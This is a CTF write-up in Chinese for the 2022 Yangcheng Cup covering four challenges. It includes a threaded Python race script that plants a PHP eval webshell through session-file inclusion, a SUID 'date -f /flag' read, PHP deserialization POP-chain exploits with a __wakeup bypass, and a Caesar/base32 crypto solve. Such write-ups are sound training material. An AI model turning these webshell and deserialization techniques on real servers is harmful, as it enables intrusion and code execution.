2022羊城杯wp

rce_me

session文件包含,_url编码后%5f可以绕过。

import io,threading,requests
url = 'http://80.endpoint-4e53a4edd7b84622b67eb4b8f6475a83.dasc.buuoj.cn:81/'
sessionid = 'test'
data = {
    '1':'file_put_contents("/var/www/html/2.php","<?php eval(\$_POST[2]);?>");'

}

def write(session):
    while 1:
        fileBytes = io.BytesIO(b'a'*1024*500)
        response = session.post(url,data={
            "PHP_SESSION_UPLOAD_PROGRESS":"<?php eval($_POST[1]);?>"
        },
        cookies = {
            'PHPSESSID':sessionid
        },
        files = {
            'file':('test.jpg',fileBytes)
        })
        # print(response.text)

def read(session):
    while 1:
        response = session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
                                cookies = {
            'PHPSESSID':sessionid
        } )
        response2 = session.get(url+'2.php')
        if response2.status_code == 200:
            print("+++++++++++done+++++++++++")
        else:
            print(response2.status_code)


if __name__ == '__main__':
    event = threading.Event()
    with requests.session() as session:
        for i in range(30):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

脚本跑的时候,手动去访问?file=/tmp/sess%5ftest,然后POST:

1=file_put_contents("/var/www/html/2.php","<?php eval(\$_POST[2]);?>");

我们的后门文件就在2.php,访问密码是2。

最后连接蚁剑。flag在根目录下,但是读取权限不够。

查看suid文件:

find / -perm -u=s -type f 2>/dev/null

从中发现有date命令,使用date命令读取flag:

date -f /flag

得到flag

step_by_step-v3

反序列化

先看入口,在cheng类里有wakeup函数,反序列化的时候会调用这个函数。

wakeup函数把c1属性里的flag赋值为flag,如果c1是bei类的对象把bei类里的flag赋值为flag,bei类没有flag,没有办法对flag进行操作,就会触发bei类的set函数。

bei类的set函数会打印b1,如果b1是yang类的对象,那么打印一个对象就会触发对应类的tostring方法,也就是yang的tostring方法。它把y1属性作为函数执行了,我们尝试执行phpinfo,也就是把y1赋值phpinfo

综上:入口是cheng类、c1是bei类的对象、b1是yang类的对象、y1赋值phpinfo。

exp:

<?php
class yang
{
    public $y1;
}

class cheng
{
    public $c1;
}

class bei
{
    public $b1;
    public $b2;
}

$a=new cheng();
$a->c1=new bei();
$a->c1->b1=new yang();
$a->c1->b1->y1="phpinfo";
echo serialize($a);

payload:

ans=O:5:"cheng":1:{s:2:"c1";O:3:"bei":2:{s:2:"b1";O:4:"yang":1:{s:2:"y1";s:7:"phpinfo";}s:2:"b2";N;}}

flag在phpinfo里

Safepop

反序列化

先看入口,Fun类、Test类都有wakeup函数,但是一个die、一个没啥意义进行不下去。A类没有入口。那就只有B类了,B类的destruct函数会在B类被销毁时触发。

B类的destruct函数echo了a属性里的p属性。B类没有a属性,也没有get函数。我们就给B类加一个a属性

只有A类有get函数,如果B类的a属性是A类的对象,那就会触发A类的get函数。

get函数会检查A类的a属性是否是Test类的对象,如果是那就没戏了,所以a不能是Test类的对象。然后会返回a的p方法。如果A类的a属性是Fun类的对象,那就是调用Fun类的p方法,Fun类没有,就会触发call方法。

call方法里用的call_user_func回调函数。

call_user_func($this->func,$f,$p);:$this->func是被调用的函数;$f,$p是给函数传递的参数。

我们最后的目标肯定是要调用Test类的getFlag函数。那可以让$this->func是Test类的getFlag函数。call_user_func支持从其它类调用函数,用array就可以了。也就是func=array(“Test”, “getFlag”)

exp

<?php
class Fun{
    public $func;
}

class Test{
}

class A{
    public $a;
}

class B{
    public $p;
    public $a;
}

$a=new B();
$a->a=new A();
$a->a->a=new Fun();
$a->a->a->func=array("Test", "getFlag");
echo serialize($a);

结果

?pop=O:1:"B":2:{s:1:"p";N;s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:4:"func";a:2:{i:0;s:4:"Test";i:1;s:7:"getFlag";}}}}

最后要绕过wakeup,把2改成3就行了。

payload:

?pop=O:1:"B":3:{s:1:"p";N;s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:4:"func";a:2:{i:0;s:4:"Test";i:1;s:7:"getFlag";}}}}

签个到

ZMJTPM33TSGTRAWGTOEGFBQOTSETRAWEZZMGRMWIZSDJXZOETHMTXLGSZEFK2===

flag的base32加密后是MZWGCZY=

第一位是字母M,和题目第一位字母Z相差13

凯撒解密,偏移量13

MZWGCZ33GFTGENJTGBRTSODBGFRGENJRMMZTEZJVMFQWKMBRGUZGKYTFMRSX2===

然后base32解密

flag{1fb530c98a1bb51c32e5aae0152ebede}